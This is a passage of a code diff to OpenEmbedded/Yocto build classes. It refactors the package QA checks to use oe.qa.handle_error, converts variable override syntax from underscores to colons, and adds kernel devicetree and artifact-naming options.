+ oe.qa.handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM points to an invalid file: " + srclicfile, d)
continue
if (srclicfile == corebase_licensefile):
@@ -606,10 +595,9 @@ python populate_lic_qa_checksum() {
else:
msg = pn + ": LIC_FILES_CHKSUM is not specified for " + url
msg = msg + "\n" + pn + ": The md5 checksum is " + md5chksum
- sane &= package_qa_handle_error("license-checksum", msg, d)
+ oe.qa.handle_error("license-checksum", msg, d)
- if not sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.exit_if_errors(d)
}
def qa_check_staged(path,d):
@@ -621,7 +609,6 @@ def qa_check_staged(path,d):
responsible for the errors easily even if we look at every .pc and .la file.
"""
- sane = True
tmpdir = d.getVar('TMPDIR')
workdir = os.path.join(tmpdir, "work")
recipesysroot = d.getVar("RECIPE_SYSROOT")
@@ -654,16 +641,14 @@ def qa_check_staged(path,d):
file_content = file_content.replace(recipesysroot, "")
if workdir in file_content:
error_msg = "%s failed sanity test (workdir) in path %s" % (file,root)
- sane &= package_qa_handle_error("la", error_msg, d)
+ oe.qa.handle_error("la", error_msg, d)
elif file.endswith(".pc") and not skip_pkgconfig:
with open(path) as f:
file_content = f.read()
file_content = file_content.replace(recipesysroot, "")
if pkgconfigcheck in file_content:
error_msg = "%s failed sanity test (tmpdir) in path %s" % (file,root)
- sane &= package_qa_handle_error("pkgconfig", error_msg, d)
-
- return sane
+ oe.qa.handle_error("pkgconfig", error_msg, d)
# Run all package-wide warnfuncs and errorfuncs
def package_qa_package(warnfuncs, errorfuncs, package, d):
@@ -676,9 +661,9 @@ def package_qa_package(warnfuncs, errorfuncs, package, d):
func(package, d, errors)
for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
+ oe.qa.handle_error(w, warnings[w], d)
for e in errors:
- package_qa_handle_error(e, errors[e], d)
+ oe.qa.handle_error(e, errors[e], d)
return len(errors) == 0
@@ -693,16 +678,14 @@ def package_qa_recipe(warnfuncs, errorfuncs, pn, d):
func(pn, d, errors)
for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
+ oe.qa.handle_error(w, warnings[w], d)
for e in errors:
- package_qa_handle_error(e, errors[e], d)
+ oe.qa.handle_error(e, errors[e], d)
return len(errors) == 0
# Walk over all files in a directory and call func
def package_qa_walk(warnfuncs, errorfuncs, package, d):
- import oe.qa
-
#if this will throw an exception, then fix the dict above
target_os = d.getVar('TARGET_OS')
target_arch = d.getVar('TARGET_ARCH')
@@ -723,9 +706,9 @@ def package_qa_walk(warnfuncs, errorfuncs, package, d):
func(path, package, d, elf, errors)
for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
+ oe.qa.handle_error(w, warnings[w], d)
for e in errors:
- package_qa_handle_error(e, errors[e], d)
+ oe.qa.handle_error(e, errors[e], d)
def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
# Don't do this check for kernel/module recipes, there aren't too many debug/development
@@ -745,10 +728,10 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
for rdepend in rdepends:
if "-dbg" in rdepend and "debug-deps" not in skip:
error_msg = "%s rdepends on %s" % (pkg,rdepend)
- package_qa_handle_error("debug-deps", error_msg, d)
+ oe.qa.handle_error("debug-deps", error_msg, d)
if (not "-dev" in pkg and not "-staticdev" in pkg) and rdepend.endswith("-dev") and "dev-deps" not in skip:
error_msg = "%s rdepends on %s" % (pkg, rdepend)
- package_qa_handle_error("dev-deps", error_msg, d)
+ oe.qa.handle_error("dev-deps", error_msg, d)
if rdepend not in packages:
rdep_data = oe.packagedata.read_subpkgdata(rdepend, d)
if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
@@ -769,7 +752,7 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
error_msg = "%s rdepends on %s, but it isn't a build dependency, missing %s in DEPENDS or PACKAGECONFIG?" % (pkg, rdepend, rdep_data['PN'])
else:
error_msg = "%s rdepends on %s, but it isn't a build dependency?" % (pkg, rdepend)
- package_qa_handle_error("build-deps", error_msg, d)
+ oe.qa.handle_error("build-deps", error_msg, d)
if "file-rdeps" not in skip:
ignored_file_rdeps = set(['/bin/sh', '/usr/bin/env', 'rtld(GNU_HASH)'])
@@ -779,7 +762,7 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
filerdepends = {}
rdep_data = oe.packagedata.read_subpkgdata(pkg, d)
for key in rdep_data:
- if key.startswith("FILERDEPENDS_"):
+ if key.startswith("FILERDEPENDS:"):
for subkey in bb.utils.explode_deps(rdep_data[key]):
if subkey not in ignored_file_rdeps and \
not subkey.startswith('perl('):
@@ -794,7 +777,7 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
# The python is not a package, but python-core provides it, so
# skip checking /usr/bin/python if python is in the rdeps, in
- # case there is a RDEPENDS_pkg = "python" in the recipe.
+ # case there is a RDEPENDS:pkg = "python" in the recipe.
for py in [ d.getVar('MLPREFIX') + "python", "python" ]:
if py in done:
filerdepends.pop("/usr/bin/python",None)
@@ -807,11 +790,11 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
# For Saving the FILERPROVIDES, RPROVIDES and FILES_INFO
rdep_data = oe.packagedata.read_subpkgdata(rdep, d)
for key in rdep_data:
- if key.startswith("FILERPROVIDES_") or key.startswith("RPROVIDES_"):
+ if key.startswith("FILERPROVIDES:") or key.startswith("RPROVIDES:"):
for subkey in bb.utils.explode_deps(rdep_data[key]):
filerdepends.pop(subkey,None)
# Add the files list to the rprovides
- if key == "FILES_INFO":
+ if key.startswith("FILES_INFO:"):
# Use eval() to make it as a dict
for subkey in eval(rdep_data[key]):
filerdepends.pop(subkey,None)
@@ -820,9 +803,9 @@ def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
break
if filerdepends:
for key in filerdepends:
- error_msg = "%s contained in package %s requires %s, but no providers found in RDEPENDS_%s?" % \
- (filerdepends[key].replace("_%s" % pkg, "").replace("@underscore@", "_"), pkg, key, pkg)
- package_qa_handle_error("file-rdeps", error_msg, d)
+ error_msg = "%s contained in package %s requires %s, but no providers found in RDEPENDS:%s?" % \
+ (filerdepends[key].replace(":%s" % pkg, "").replace("@underscore@", "_"), pkg, key, pkg)
+ oe.qa.handle_error("file-rdeps", error_msg, d)
package_qa_check_rdepends[vardepsexclude] = "OVERRIDES"
def package_qa_check_deps(pkg, pkgdest, d):
@@ -834,12 +817,12 @@ def package_qa_check_deps(pkg, pkgdest, d):
try:
rvar = bb.utils.explode_dep_versions2(localdata.getVar(var) or "")
except ValueError as e:
- bb.fatal("%s_%s: %s" % (var, pkg, e))
+ bb.fatal("%s:%s: %s" % (var, pkg, e))
for dep in rvar:
for v in rvar[dep]:
if v and not v.startswith(('< ', '= ', '> ', '<= ', '>=')):
- error_msg = "%s_%s is invalid: %s (%s) only comparisons <, =, >, <=, and >= are allowed" % (var, pkg, dep, v)
- package_qa_handle_error("dep-cmp", error_msg, d)
+ error_msg = "%s:%s is invalid: %s (%s) only comparisons <, =, >, <=, and >= are allowed" % (var, pkg, dep, v)
+ oe.qa.handle_error("dep-cmp", error_msg, d)
check_valid_deps('RDEPENDS')
check_valid_deps('RRECOMMENDS')
@@ -850,13 +833,14 @@ def package_qa_check_deps(pkg, pkgdest, d):
QAPKGTEST[usrmerge] = "package_qa_check_usrmerge"
def package_qa_check_usrmerge(pkg, d, messages):
+
pkgdest = d.getVar('PKGDEST')
pkg_dir = pkgdest + os.sep + pkg + os.sep
merged_dirs = ['bin', 'sbin', 'lib'] + d.getVar('MULTILIB_VARIANTS').split()
for f in merged_dirs:
if os.path.exists(pkg_dir + f) and not os.path.islink(pkg_dir + f):
msg = "%s package is not obeying usrmerge distro feature. /%s should be relocated to /usr." % (pkg, f)
- package_qa_add_message(messages, "usrmerge", msg)
+ oe.qa.add_message(messages, "usrmerge", msg)
return False
return True
@@ -875,7 +859,7 @@ def package_qa_check_perllocalpod(pkg, d, messages):
if matches:
matches = [package_qa_clean_path(path, d, pkg) for path in matches]
msg = "%s contains perllocal.pod (%s), should not be installed" % (pkg, " ".join(matches))
- package_qa_add_message(messages, "perllocalpod", msg)
+ oe.qa.add_message(messages, "perllocalpod", msg)
QAPKGTEST[expanded-d] = "package_qa_check_expanded_d"
def package_qa_check_expanded_d(package, d, messages):
@@ -887,13 +871,13 @@ def package_qa_check_expanded_d(package, d, messages):
expanded_d = d.getVar('D')
for var in 'FILES','pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm':
- bbvar = d.getVar(var + "_" + package) or ""
+ bbvar = d.getVar(var + ":" + package) or ""
if expanded_d in bbvar:
if var == 'FILES':
- package_qa_add_message(messages, "expanded-d", "FILES in %s recipe should not contain the ${D} variable as it references the local build directory not the target filesystem, best solution is to remove the ${D} reference" % package)
+ oe.qa.add_message(messages, "expanded-d", "FILES in %s recipe should not contain the ${D} variable as it references the local build directory not the target filesystem, best solution is to remove the ${D} reference" % package)
sane = False
else:
- package_qa_add_message(messages, "expanded-d", "%s in %s recipe contains ${D}, it should be replaced by $D instead" % (var, package))
+ oe.qa.add_message(messages, "expanded-d", "%s in %s recipe contains ${D}, it should be replaced by $D instead" % (var, package))
sane = False
return sane
@@ -902,7 +886,7 @@ def package_qa_check_unlisted_pkg_lics(package, d, messages):
"""
Check that all licenses for a package are among the licenses for the recipe.
"""
- pkg_lics = d.getVar('LICENSE_' + package)
+ pkg_lics = d.getVar('LICENSE:' + package)
if not pkg_lics:
return True
@@ -911,11 +895,27 @@ def package_qa_check_unlisted_pkg_lics(package, d, messages):
if not unlisted:
return True
- package_qa_add_message(messages, "unlisted-pkg-lics",
- "LICENSE_%s includes licenses (%s) that are not "
+ oe.qa.add_message(messages, "unlisted-pkg-lics",
+ "LICENSE:%s includes licenses (%s) that are not "
"listed in LICENSE" % (package, ' '.join(unlisted)))
return False
+QAPKGTEST[empty-dirs] = "package_qa_check_empty_dirs"
+def package_qa_check_empty_dirs(pkg, d, messages):
+ """
+ Check for the existence of files in directories that are expected to be
+ empty.
+ """
+
+ pkgd = oe.path.join(d.getVar('PKGDEST'), pkg)
+ for dir in (d.getVar('QA_EMPTY_DIRS') or "").split():
+ empty_dir = oe.path.join(pkgd, dir)
+ if os.path.exists(empty_dir) and os.listdir(empty_dir):
+ recommendation = (d.getVar('QA_EMPTY_DIRS_RECOMMENDATION:' + dir) or
+ "but it is expected to be empty")
+ msg = "%s installs files in %s, %s" % (pkg, dir, recommendation)
+ oe.qa.add_message(messages, "empty-dirs", msg)
+
def package_qa_check_encoding(keys, encode, d):
def check_encoding(key, enc):
sane = True
@@ -926,7 +926,7 @@ def package_qa_check_encoding(keys, encode, d):
except UnicodeDecodeError as e:
error_msg = "%s has non %s characters" % (key,enc)
sane = False
- package_qa_handle_error("invalid-chars", error_msg, d)
+ oe.qa.handle_error("invalid-chars", error_msg, d)
return sane
for key in keys:
@@ -959,26 +959,15 @@ def package_qa_check_host_user(path, name, d, elf, messages):
else:
check_uid = int(d.getVar('HOST_USER_UID'))
if stat.st_uid == check_uid:
- package_qa_add_message(messages, "host-user-contaminated", "%s: %s is owned by uid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_uid))
+ oe.qa.add_message(messages, "host-user-contaminated", "%s: %s is owned by uid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_uid))
return False
check_gid = int(d.getVar('HOST_USER_GID'))
if stat.st_gid == check_gid:
- package_qa_add_message(messages, "host-user-contaminated", "%s: %s is owned by gid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_gid))
+ oe.qa.add_message(messages, "host-user-contaminated", "%s: %s is owned by gid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_gid))
return False
return True
-QARECIPETEST[src-uri-bad] = "package_qa_check_src_uri"
-def package_qa_check_src_uri(pn, d, messages):
- import re
-
- if "${PN}" in d.getVar("SRC_URI", False):
- package_qa_handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
-
- for url in d.getVar("SRC_URI").split():
- if re.search(r"git(hu|la)b\.com/.+/.+/archive/.+", url):
- package_qa_handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub/GitLab archives, convert recipe to use git protocol" % pn, d)
-
QARECIPETEST[unhandled-features-check] = "package_qa_check_unhandled_features_check"
def package_qa_check_unhandled_features_check(pn, d, messages):
if not bb.data.inherits_class('features_check', d):
@@ -988,15 +977,15 @@ def package_qa_check_unhandled_features_check(pn, d, messages):
if d.getVar(var) is not None or d.overridedata.get(var) is not None:
var_set = True
if var_set:
- package_qa_handle_error("unhandled-features-check", "%s: recipe doesn't inherit features_check" % pn, d)
+ oe.qa.handle_error("unhandled-features-check", "%s: recipe doesn't inherit features_check" % pn, d)
QARECIPETEST[missing-update-alternatives] = "package_qa_check_missing_update_alternatives"
def package_qa_check_missing_update_alternatives(pn, d, messages):
# Look at all packages and find out if any of those sets ALTERNATIVE variable
# without inheriting update-alternatives class
for pkg in (d.getVar('PACKAGES') or '').split():
- if d.getVar('ALTERNATIVE_%s' % pkg) and not bb.data.inherits_class('update-alternatives', d):
- package_qa_handle_error("missing-update-alternatives", "%s: recipe defines ALTERNATIVE_%s but doesn't inherit update-alternatives. This might fail during do_rootfs later!" % (pn, pkg), d)
+ if d.getVar('ALTERNATIVE:%s' % pkg) and not bb.data.inherits_class('update-alternatives', d):
+ oe.qa.handle_error("missing-update-alternatives", "%s: recipe defines ALTERNATIVE:%s but doesn't inherit update-alternatives. This might fail during do_rootfs later!" % (pn, pkg), d)
# The PACKAGE FUNC to scan each package
python do_package_qa () {
@@ -1013,26 +1002,6 @@ python do_package_qa () {
logdir = d.getVar('T')
pn = d.getVar('PN')
- # Check the compile log for host contamination
- compilelog = os.path.join(logdir,"log.do_compile")
-
- if os.path.exists(compilelog):
- statement = "grep -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s > /dev/null" % compilelog
- if subprocess.call(statement, shell=True) == 0:
- msg = "%s: The compile log indicates that host include and/or library paths were used.\n \
- Please check the log '%s' for more information." % (pn, compilelog)
- package_qa_handle_error("compile-host-path", msg, d)
-
- # Check the install log for host contamination
- installlog = os.path.join(logdir,"log.do_install")
-
- if os.path.exists(installlog):
- statement = "grep -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s > /dev/null" % installlog
- if subprocess.call(statement, shell=True) == 0:
- msg = "%s: The install log indicates that host include and/or library paths were used.\n \
- Please check the log '%s' for more information." % (pn, installlog)
- package_qa_handle_error("install-host-path", msg, d)
-
# Scan the packages...
pkgdest = d.getVar('PKGDEST')
packages = set((d.getVar('PACKAGES') or '').split())
@@ -1085,14 +1054,14 @@ python do_package_qa () {
for package in packages:
skip = set((d.getVar('INSANE_SKIP') or "").split() +
- (d.getVar('INSANE_SKIP_' + package) or "").split())
+ (d.getVar('INSANE_SKIP:' + package) or "").split())
if skip:
bb.note("Package %s skipping QA tests: %s" % (package, str(skip)))
bb.note("Checking Package: %s" % package)
# Check package name
if not pkgname_pattern.match(package):
- package_qa_handle_error("pkgname",
+ oe.qa.handle_error("pkgname",
"%s doesn't match the [a-z0-9.+-]+ regex" % package, d)
warn_checks, error_checks = parse_test_matrix("QAPATHTEST")
@@ -1110,10 +1079,7 @@ python do_package_qa () {
if 'libdir' in d.getVar("ALL_QA").split():
package_qa_check_libdir(d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("QA run found fatal errors. Please consider fixing them.")
- bb.note("DONE with PACKAGE QA")
+ oe.qa.exit_if_errors(d)
}
# binutils is used for most checks, so need to set as dependency
@@ -1127,7 +1093,7 @@ addtask do_package_qa after do_packagedata do_package before do_build
python() {
pkgs = (d.getVar('PACKAGES') or '').split()
for pkg in pkgs:
- d.appendVarFlag("do_package_qa", "vardeps", " INSANE_SKIP_{}".format(pkg))
+ d.appendVarFlag("do_package_qa", "vardeps", " INSANE_SKIP:{}".format(pkg))
}
SSTATETASKS += "do_package_qa"
@@ -1140,8 +1106,8 @@ addtask do_package_qa_setscene
python do_qa_staging() {
bb.note("QA checking staging")
- if not qa_check_staged(d.expand('${SYSROOT_DESTDIR}${libdir}'), d):
- bb.fatal("QA staging was broken by the package built above")
+ qa_check_staged(d.expand('${SYSROOT_DESTDIR}${libdir}'), d)
+ oe.qa.exit_with_message_if_errors("QA staging was broken by the package built above", d)
}
python do_qa_patch() {
@@ -1189,7 +1155,31 @@ python do_qa_patch() {
elif 'patch-fuzz' in d.getVar('WARN_QA'):
bb.warn(msg)
msg = "Patch log indicates that patches do not apply cleanly."
- package_qa_handle_error("patch-fuzz", msg, d)
+ oe.qa.handle_error("patch-fuzz", msg, d)
+
+ # Check if the patch contains a correctly formatted and spelled Upstream-Status
+ import re
+ from oe import patch
+
+ for url in patch.src_patches(d):
+ (_, _, fullpath, _, _, _) = bb.fetch.decodeurl(url)
+
+ # skip patches not in oe-core
+ if '/meta/' not in fullpath:
+ continue
+
+ content = open(fullpath, encoding='utf-8', errors='ignore').read()
+ kinda_status_re = re.compile(r"^.*upstream.*status.*$", re.IGNORECASE | re.MULTILINE)
+ strict_status_re = re.compile(r"^Upstream-Status: (Pending|Submitted|Denied|Accepted|Inappropriate|Backport|Inactive-Upstream)( .+)?$", re.MULTILINE)
+ match_kinda = kinda_status_re.search(content)
+ match_strict = strict_status_re.search(content)
+ guidelines = "https://www.openembedded.org/wiki/Commit_Patch_Message_Guidelines#Patch_Header_Recommendations:_Upstream-Status"
+
+ if not match_strict:
+ if match_kinda:
+ bb.error("Malformed Upstream-Status in patch\n%s\nPlease correct according to %s :\n%s" % (fullpath, guidelines, match_kinda.group(0)))
+ else:
+ bb.error("Missing Upstream-Status in patch\n%s\nPlease add according to %s ." % (fullpath, guidelines))
}
python do_qa_configure() {
@@ -1211,13 +1201,13 @@ python do_qa_configure() {
if bb.data.inherits_class('autotools', d) and not skip_configure_unsafe:
bb.note("Checking autotools environment for common misconfiguration")
for root, dirs, files in os.walk(workdir):
- statement = "grep -q -F -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s" % \
+ statement = "grep -q -F -e 'is unsafe for cross-compilation' %s" % \
os.path.join(root,"config.log")
if "config.log" in files:
if subprocess.call(statement, shell=True) == 0:
error_msg = """This autoconf log indicates errors, it looked at host include and/or library paths while determining system capabilities.
Rerun configure task after fixing this."""
- package_qa_handle_error("configure-unsafe", error_msg, d)
+ oe.qa.handle_error("configure-unsafe", error_msg, d)
if "configure.ac" in files:
configs.append(os.path.join(root,"configure.ac"))
@@ -1247,20 +1237,17 @@ Rerun configure task after fixing this."""
gnu = "grep \"^[[:space:]]*AM_GNU_GETTEXT\" %s >/dev/null" % config
if subprocess.call(gnu, shell=True) == 0:
error_msg = "AM_GNU_GETTEXT used but no inherit gettext"
- package_qa_handle_error("configure-gettext", error_msg, d)
+ oe.qa.handle_error("configure-gettext", error_msg, d)
###########################################################################
# Check unrecognised configure options (with a white list)
###########################################################################
- if bb.data.inherits_class("autotools", d) or bb.data.inherits_class("meson", d):
+ if bb.data.inherits_class("autotools", d):
bb.note("Checking configure output for unrecognised options")
try:
if bb.data.inherits_class("autotools", d):
flag = "WARNING: unrecognized options:"
log = os.path.join(d.getVar('B'), 'config.log')
- if bb.data.inherits_class("meson", d):
- flag = "WARNING: Unknown options:"
- log = os.path.join(d.getVar('T'), 'log.do_configure')
output = subprocess.check_output(['grep', '-F', flag, log]).decode("utf-8").replace(', ', ' ').replace('"', '')
options = set()
for line in output.splitlines():
@@ -1270,7 +1257,7 @@ Rerun configure task after fixing this."""
if options:
pn = d.getVar('PN')
error_msg = pn + ": configure was passed unrecognised options: " + " ".join(options)
- package_qa_handle_error("unknown-configure-option", error_msg, d)
+ oe.qa.handle_error("unknown-configure-option", error_msg, d)
except subprocess.CalledProcessError:
pass
@@ -1282,18 +1269,33 @@ Rerun configure task after fixing this."""
if pconfig not in pkgconfigflags:
pn = d.getVar('PN')
error_msg = "%s: invalid PACKAGECONFIG: %s" % (pn, pconfig)
- package_qa_handle_error("invalid-packageconfig", error_msg, d)
+ oe.qa.handle_error("invalid-packageconfig", error_msg, d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.exit_if_errors(d)
}
+def unpack_check_src_uri(pn, d):
+ import re
+
+ skip = (d.getVar('INSANE_SKIP') or "").split()
+ if 'src-uri-bad' in skip:
+ bb.note("Recipe %s skipping qa checking: src-uri-bad" % d.getVar('PN'))
+ return
+
+ if "${PN}" in d.getVar("SRC_URI", False):
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
+
+ for url in d.getVar("SRC_URI").split():
+ if re.search(r"git(hu|la)b\.com/.+/.+/archive/.+", url):
+ oe.qa.handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub/GitLab archives, convert recipe to use git protocol" % pn, d)
+
python do_qa_unpack() {
src_uri = d.getVar('SRC_URI')
s_dir = d.getVar('S')
if src_uri and not os.path.exists(s_dir):
bb.warn('%s: the directory %s (%s) pointed to by the S variable doesn\'t exist - please set S within the recipe to point to where the source has been unpacked to' % (d.getVar('PN'), d.getVar('S', False), s_dir))
+
+ unpack_check_src_uri(d.getVar('PN'), d)
}
# The Staging Func, to check all staging
@@ -1325,11 +1327,11 @@ python () {
# Checking ${FILESEXTRAPATHS}
extrapaths = (d.getVar("FILESEXTRAPATHS") or "")
if '__default' not in extrapaths.split(":"):
- msg = "FILESEXTRAPATHS-variable, must always use _prepend (or _append)\n"
+ msg = "FILESEXTRAPATHS-variable, must always use :prepend (or :append)\n"
msg += "type of assignment, and don't forget the colon.\n"
msg += "Please assign it with the format of:\n"
- msg += " FILESEXTRAPATHS_append := \":${THISDIR}/Your_Files_Path\" or\n"
- msg += " FILESEXTRAPATHS_prepend := \"${THISDIR}/Your_Files_Path:\"\n"
+ msg += " FILESEXTRAPATHS:append := \":${THISDIR}/Your_Files_Path\" or\n"
+ msg += " FILESEXTRAPATHS:prepend := \"${THISDIR}/Your_Files_Path:\"\n"
msg += "in your bbappend file\n\n"
msg += "Your incorrect assignment is:\n"
msg += "%s\n" % extrapaths
@@ -1339,15 +1341,15 @@ python () {
pn = d.getVar('PN')
if pn in overrides:
msg = 'Recipe %s has PN of "%s" which is in OVERRIDES, this can result in unexpected behaviour.' % (d.getVar("FILE"), pn)
- package_qa_handle_error("pn-overrides", msg, d)
+ oe.qa.handle_error("pn-overrides", msg, d)
prog = re.compile(r'[A-Z]')
if prog.search(pn):
- package_qa_handle_error("uppercase-pn", 'PN: %s is upper case, this can result in unexpected behavior.' % pn, d)
+ oe.qa.handle_error("uppercase-pn", 'PN: %s is upper case, this can result in unexpected behavior.' % pn, d)
- # Some people mistakenly use DEPENDS_${PN} instead of DEPENDS and wonder
+ # Some people mistakenly use DEPENDS:${PN} instead of DEPENDS and wonder
# why it doesn't work.
- if (d.getVar(d.expand('DEPENDS_${PN}'))):
- package_qa_handle_error("pkgvarcheck", "recipe uses DEPENDS_${PN}, should use DEPENDS", d)
+ if (d.getVar(d.expand('DEPENDS:${PN}'))):
+ oe.qa.handle_error("pkgvarcheck", "recipe uses DEPENDS:${PN}, should use DEPENDS", d)
issues = []
if (d.getVar('PACKAGES') or "").split():
@@ -1364,8 +1366,36 @@ python () {
else:
d.setVarFlag('do_package_qa', 'rdeptask', '')
for i in issues:
- package_qa_handle_error("pkgvarcheck", "%s: Variable %s is set as not being package specific, please fix this." % (d.getVar("FILE"), i), d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.handle_error("pkgvarcheck", "%s: Variable %s is set as not being package specific, please fix this." % (d.getVar("FILE"), i), d)
+
+ if 'native-last' not in (d.getVar('INSANE_SKIP') or "").split():
+ for native_class in ['native', 'nativesdk']:
+ if bb.data.inherits_class(native_class, d):
+
+ inherited_classes = d.getVar('__inherit_cache', False) or []
+ needle = os.path.join('classes', native_class)
+
+ bbclassextend = (d.getVar('BBCLASSEXTEND') or '').split()
+ # BBCLASSEXTEND items are always added in the end
+ skip_classes = bbclassextend
+ if bb.data.inherits_class('native', d) or 'native' in bbclassextend:
+ # native also inherits nopackages and relocatable bbclasses
+ skip_classes.extend(['nopackages', 'relocatable'])
+
+ broken_order = []
+ for class_item in reversed(inherited_classes):
+ if needle not in class_item:
+ for extend_item in skip_classes:
+ if os.path.join('classes', '%s.bbclass' % extend_item) in class_item:
+ break
+ else:
+ pn = d.getVar('PN')
+ broken_order.append(os.path.basename(class_item))
+ else:
+ break
+ if broken_order:
+ oe.qa.handle_error("native-last", "%s: native/nativesdk class is not inherited last, this can result in unexpected behaviour. "
+ "Classes inherited after native/nativesdk: %s" % (pn, " ".join(broken_order)), d)
+
+ oe.qa.exit_if_errors(d)
}
diff --git a/meta/classes/kernel-artifact-names.bbclass b/meta/classes/kernel-artifact-names.bbclass
index a65cdddb3e..e77107c893 100644
--- a/meta/classes/kernel-artifact-names.bbclass
+++ b/meta/classes/kernel-artifact-names.bbclass
@@ -8,15 +8,20 @@ inherit image-artifact-names
KERNEL_ARTIFACT_NAME ?= "${PKGE}-${PKGV}-${PKGR}-${MACHINE}${IMAGE_VERSION_SUFFIX}"
KERNEL_ARTIFACT_LINK_NAME ?= "${MACHINE}"
+KERNEL_ARTIFACT_BIN_EXT ?= ".bin"
KERNEL_IMAGE_NAME ?= "${KERNEL_ARTIFACT_NAME}"
KERNEL_IMAGE_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_IMAGE_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
+KERNEL_IMAGETYPE_SYMLINK ?= "1"
KERNEL_DTB_NAME ?= "${KERNEL_ARTIFACT_NAME}"
KERNEL_DTB_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_DTB_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
KERNEL_FIT_NAME ?= "${KERNEL_ARTIFACT_NAME}"
KERNEL_FIT_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
+KERNEL_FIT_BIN_EXT ?= "${KERNEL_ARTIFACT_BIN_EXT}"
MODULE_TARBALL_NAME ?= "${KERNEL_ARTIFACT_NAME}"
MODULE_TARBALL_LINK_NAME ?= "${KERNEL_ARTIFACT_LINK_NAME}"
diff --git a/meta/classes/kernel-devicetree.bbclass b/meta/classes/kernel-devicetree.bbclass
index 81dda8003f..b4338da1b1 100644
--- a/meta/classes/kernel-devicetree.bbclass
+++ b/meta/classes/kernel-devicetree.bbclass
@@ -1,14 +1,20 @@
# Support for device tree generation
-PACKAGES_append = " \
- ${KERNEL_PACKAGE_NAME}-devicetree \
- ${@[d.getVar('KERNEL_PACKAGE_NAME') + '-image-zimage-bundle', ''][d.getVar('KERNEL_DEVICETREE_BUNDLE') != '1']} \
-"
-FILES_${KERNEL_PACKAGE_NAME}-devicetree = "/${KERNEL_IMAGEDEST}/*.dtb /${KERNEL_IMAGEDEST}/*.dtbo"
-FILES_${KERNEL_PACKAGE_NAME}-image-zimage-bundle = "/${KERNEL_IMAGEDEST}/zImage-*.dtb.bin"
+python () {
+ if not bb.data.inherits_class('nopackages', d):
+ d.appendVar("PACKAGES", " ${KERNEL_PACKAGE_NAME}-devicetree")
+ if d.getVar('KERNEL_DEVICETREE_BUNDLE') == '1':
+ d.appendVar("PACKAGES", " ${KERNEL_PACKAGE_NAME}-image-zimage-bundle")
+}
+
+FILES:${KERNEL_PACKAGE_NAME}-devicetree = "/${KERNEL_IMAGEDEST}/*.dtb /${KERNEL_IMAGEDEST}/*.dtbo"
+FILES:${KERNEL_PACKAGE_NAME}-image-zimage-bundle = "/${KERNEL_IMAGEDEST}/zImage-*.dtb.bin"
# Generate kernel+devicetree bundle
KERNEL_DEVICETREE_BUNDLE ?= "0"
+# dtc flags passed via DTC_FLAGS env variable
+KERNEL_DTC_FLAGS ?= ""
+
normalize_dtb () {
dtb="$1"
if echo $dtb | grep -q '/dts/'; then
@@ -27,7 +33,7 @@ get_real_dtb_path_in_kernel () {
echo "$dtb_path"
}
-do_configure_append() {
+do_configure:append() {
if [ "${KERNEL_DEVICETREE_BUNDLE}" = "1" ]; then
if echo ${KERNEL_IMAGETYPE_FOR_MAKE} | grep -q 'zImage'; then
case "${ARCH}" in
@@ -49,14 +55,18 @@ do_configure_append() {
fi
}
-do_compile_append() {
+do_compile:append() {
+ if [ -n "${KERNEL_DTC_FLAGS}" ]; then
+ export DTC_FLAGS="${KERNEL_DTC_FLAGS}"
+ fi
+
for dtbf in ${KERNEL_DEVICETREE}; do
dtb=`normalize_dtb "$dtbf"`
oe_runmake $dtb CC="${KERNEL_CC} $cc_extra " LD="${KERNEL_LD}" ${KERNEL_EXTRA_ARGS}
done
}
-do_install_append() {
+do_install:append() {
for dtbf in ${KERNEL_DEVICETREE}; do
dtb=`normalize_dtb "$dtbf"`
dtb_ext=${dtb##*.}
@@ -66,28 +76,36 @@ do_install_append() {
done
}
-do_deploy_append() {
+do_deploy:append() {
for dtbf in ${KERNEL_DEVICETREE}; do
dtb=`normalize_dtb "$dtbf"`
dtb_ext=${dtb##*.}
dtb_base_name=`basename $dtb .$dtb_ext`
install -d $deployDir
install -m 0644 ${D}/${KERNEL_IMAGEDEST}/$dtb_base_name.$dtb_ext $deployDir/$dtb_base_name-${KERNEL_DTB_NAME}.$dtb_ext
